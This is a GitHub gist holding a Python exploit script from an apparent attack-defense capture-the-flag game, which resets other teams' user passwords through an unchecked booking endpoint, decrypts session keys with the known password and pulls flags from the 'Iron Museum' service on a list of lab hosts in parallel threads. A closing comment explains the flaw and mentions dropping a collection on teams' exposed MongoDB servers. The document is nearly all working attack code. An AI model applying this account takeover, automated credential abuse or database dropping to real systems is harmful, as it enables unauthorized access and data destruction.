Created
May 25, 2013 05:23
-
-
Save ei-grad/5648009 to your computer and use it in GitHub Desktop.
Ironmine exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys | |
| import logging | |
| from time import sleep | |
| from collections import defaultdict | |
| import socket | |
| from urllib import urlencode | |
| import re | |
| from threading import Thread, Lock | |
| from urllib import urlopen | |
| from hashlib import sha256 | |
| from crypt import encrypt, decrypt | |
| FLAGS = set(i.strip() for i in open('flags2.txt')) | |
| FLAGS_LOCK = Lock() | |
| USER_RE = re.compile(r'[a-zA-Z0-9]{32}') | |
| TIME_RE = re.compile(r'[0-9]+\.[0-9]+') | |
| FLAG_RE = re.compile(r'[a-z0-9]{32}') | |
| PASSWORD = 'NhGZP7jYUB4yMqho' | |
| PHASH = sha256(PASSWORD).hexdigest() | |
| logging.basicConfig(level=logging.DEBUG) | |
| socket.setdefaulttimeout(10) | |
| class Worker(Thread): | |
| def __init__(self, host): | |
| super(Worker, self).__init__() | |
| self.host = host | |
| self.flags = set() | |
| self.users = set() | |
| self.bad_users = defaultdict(lambda: 0) | |
| self.status = 'good' | |
| def url(self, uri): | |
| if not uri.endswith('/'): | |
| uri = uri + '/' | |
| return 'http://%s:1145/%s' % (self.host, uri) | |
| def get_new_users(self): | |
| users = set(USER_RE.findall(urlopen(self.url('bookings')).read())) | |
| return users - self.users | |
| def set_password(self, user, password): | |
| resp = urlopen(self.url('book'), urlencode({ | |
| 'username': user, | |
| 'password': password, | |
| 'count': 1, | |
| 'date': 'today' | |
| })) | |
| assert resp.code == 200 | |
| def get_ticket(self, user): | |
| self.set_password(user, PASSWORD) | |
| # get key and ticket from auth_server | |
| sock = socket.socket() | |
| sock.connect((self.host, 1165)) | |
| f = sock.makefile() | |
| # prompt | |
| logging.debug(f.readline()) | |
| sock.send('%s\n' % user) | |
| # prompt with time | |
| data = f.readline() | |
| logging.debug(data) | |
| try: | |
| time = float(TIME_RE.findall(data)[0]) | |
| except IndexError: | |
| time = None | |
| session_key = f.readline().split()[-1][:-1] | |
| session_key = decrypt(PHASH.decode('hex'), session_key.decode('hex')) | |
| tkt = f.readline().split()[-1][1:-1].split(',') | |
| sock.close() | |
| return time, session_key, tkt | |
| def get_flag(self, user, session_key, tkt): | |
| sock = socket.socket() | |
| sock.connect((self.host, 1135)) | |
| f = sock.makefile() | |
| assert f.readline() == 'Welcome to the Iron Museum. Can I see your ID?\r\n' | |
| sock.send('%s\n' % user) | |
| f.readline() == 'Your ticket, please?\r\n' | |
| sock.send('(%s)\n' % ','.join(tkt)) | |
| #assert decrypt(session_key, f.readline().strip().decode('hex')) == 'What can I do for you? (you can get "help" if you want)' | |
| f.readline() | |
| sock.send(encrypt(session_key, 'checkroom get stuff').encode('hex') + '\n') | |
| return decrypt(session_key, f.readline().strip().decode('hex')) | |
| def run(self): | |
| while True: | |
| try: | |
| users = self.get_new_users() | |
| for user in users: | |
| try: | |
| time, session_key, tkt = self.get_ticket(user) | |
| flag = self.get_flag(user, session_key, tkt) | |
| self.users.add(user) | |
| if FLAG_RE.match(flag) is None: | |
| continue | |
| with FLAGS_LOCK: | |
| if flag not in FLAGS: | |
| FLAGS.add(flag) | |
| print(flag) | |
| with open('flags2.txt', 'a') as f: | |
| f.write('%s\n' % flag) | |
| if self.status == 'bad': | |
| self.status = 'good' | |
| except: | |
| if self.bad_users[user] == 0: | |
| logging.debug('bad user %s on %s', user, self.host, | |
| exc_info=True) | |
| self.bad_users[user] += 1 | |
| if self.bad_users[user] > 5: | |
| self.users.add(user) | |
| except IOError as e: | |
| if self.status == 'good': | |
| logging.debug('error on %s: %s', self.host, str(e)) | |
| self.status = 'bad' | |
| except Exception: | |
| logging.debug('error on %s', self.host, exc_info=True) | |
| sleep(60) | |
| if __name__ == "__main__": | |
| if len(sys.argv) > 1: | |
| hosts = sys.argv[1:] | |
| else: | |
| hosts = ['172.17.%d.3' % i for i in [1,2,3,4,5,6,7,9,10]] | |
| threads = [Worker(host) for host in hosts] | |
| for thread in threads: | |
| thread.start() | |
| for thread in threads: | |
| thread.join() |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
A frontpage.py script didn't check the existance of user, and it allowed to change the user password, which was used to encrypt session_key.
ps. there were some teams with open mongodb port:
db.checkroom.drop() is there because the last records from .find() were not displayed by mongo client